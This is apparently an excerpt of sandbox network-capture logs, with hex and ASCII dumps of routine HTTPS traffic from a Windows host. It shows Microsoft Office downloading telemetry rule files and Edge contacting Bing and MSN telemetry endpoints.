2024-11-11 18:52:25 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-11 18:52:25 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-11 18:52:25 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-11 18:52:25 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:25 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 1c14d510-c01e-0079-05d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185226Z-174f7845968l4kp6hC1EWRe88400000005f000000000ur36 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:25 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 554aabf5-b01e-00ab-71d5-33dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185226Z-174f7845968j9dchhC1EWRfe74000000055000000000e2tu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:25 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: d9045dfb-101e-00a2-06d5-339f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185226Z-174f7845968j6t2phC1EWRcfe800000005k0000000003scb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:25 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c8358f32-201e-005d-77d5-33afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185226Z-174f7845968px8v7hC1EWR08ng00000005k000000000fera x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:26 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 01111fca-d01e-002b-41d5-3325fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185226Z-174f7845968j6t2phC1EWRcfe800000005m0000000000qds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49878	104.126.116.17	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:26 UTC	628	OUT	OPTIONS /bnc/notifications/count?app=anaheim&pageId=ntp HTTP/1.1 Host: www.bing.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: x-personalbing-csrf,x-personalbing-flights,x-search-clientid,x-search-uilang Origin: https://ntp.msn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:26 UTC	2234	IN	HTTP/1.1 200 OK Content-Length: 0 Access-Control-Allow-Headers: * Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Max-Age: 7200 Cache-Control: private X-EventID: 6732526a93bb4b078e4d2378ac306fd0 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= Content-Security-Policy: script-src https: 'strict-dynamic' 'report-sample' 'wasm-unsafe-eval' 'nonce-78xQs6Bpiw47t/ETpDPgufKXUIpqyTs9w3bkpUR8L+8='; base-uri 'self';report-to csp-endpoint Report-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]} P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Mon, 11 Nov 2024 18:52:26 GMT Connection: close Set-Cookie: MUID=0922A03A39C360143DB4B50E388C61CD; domain=.bing.com; expires=Sat, 06-Dec-2025 18:52:26 GMT; path=/; secure; SameSite=None Set-Cookie: MUIDB=0922A03A39C360143DB4B50E388C61CD; expires=Sat, 06-Dec-2025 18:52:26 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=F=1&SID=1030BA301BFF6DD60E1DAF041AB06CBA; domain=.bing.com; path=/; HttpOnly Set-Cookie: _EDGE_V=1; domain=.bing.com; expires=Sat, 06-Dec-2025 18:52:26 GMT; path=/; HttpOnly Set-Cookie: USRLOC=HS=1; domain=.bing.com; expires=Wed, 11-Nov-2026 18:52:26 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Wed, 11-Nov-2026 18:52:26 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUID=V=2&GUID=3B9723B0984D47D8AC5A679309B6EC35&dmnchg=1; domain=.bing.com; expires=Wed, 11-Nov-2026 18:52:26 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUSR=DOB=20241111; domain=.bing.com; expires=Wed, 11-Nov-2026 18:52:26 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Wed, 11-Nov-2026 18:52:26 GMT; path=/; secure; SameSite=None Set-Cookie: _SS=SID=1030BA301BFF6DD60E1DAF041AB06CBA; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.35747e68.1731351146.17f66419

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49880	20.42.73.27	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:26 UTC	1034	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731351144500&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11658 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=11F7061775776D430B031323746E6C70; _EDGE_S=F=1&SID=182E405C6ED360811A3355686F3761D3; _EDGE_V=1; msnup=
2024-11-11 18:52:26 UTC	11658	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 31 38 3a 35 32 3a 32 34 2e 34 38 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 39 35 39 66 31 65 64 2d 37 38 31 37 2d 34 32 35 34 2d 62 65 65 64 2d 37 62 61 37 34 65 32 33 31 32 66 31 22 2c 22 65 70 6f 63 68 22 3a 22 31 33 32 32 30 37 33 31 39 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-11T18:52:24.488Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"0959f1ed-7817-4254-beed-7ba74e2312f1","epoch":"1322073198"},"app":{"locale
2024-11-11 18:52:26 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6a0f14776dc34dbc9e4fc91052be16b1&HASH=6a0f&LV=202411&V=4&LU=1731351146324; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 18:52:26 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ded644af043e45d897c2592cf78591e5; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 19:22:26 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1824 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 18:52:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49879	20.42.73.27	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:26 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731351144507&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5028 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=11F7061775776D430B031323746E6C70; _EDGE_S=F=1&SID=182E405C6ED360811A3355686F3761D3; _EDGE_V=1; msnup=
2024-11-11 18:52:26 UTC	5028	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 31 38 3a 35 32 3a 32 34 2e 35 30 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 39 35 39 66 31 65 64 2d 37 38 31 37 2d 34 32 35 34 2d 62 65 65 64 2d 37 62 61 37 34 65 32 33 31 32 66 31 22 2c 22 65 70 6f 63 68 22 3a 22 31 33 32 32 30 37 33 31 39 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-11T18:52:24.506Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"0959f1ed-7817-4254-beed-7ba74e2312f1","epoch":"1322073198"},"app":{"locale
2024-11-11 18:52:26 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7ba8711560a74d43ba7893d72b41f325&HASH=7ba8&LV=202411&V=4&LU=1731351146319; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 18:52:26 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=1bfda4b202c84fccb6d6622dfc457fc0; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 19:22:26 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1812 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 18:52:26 GMT Connection: close

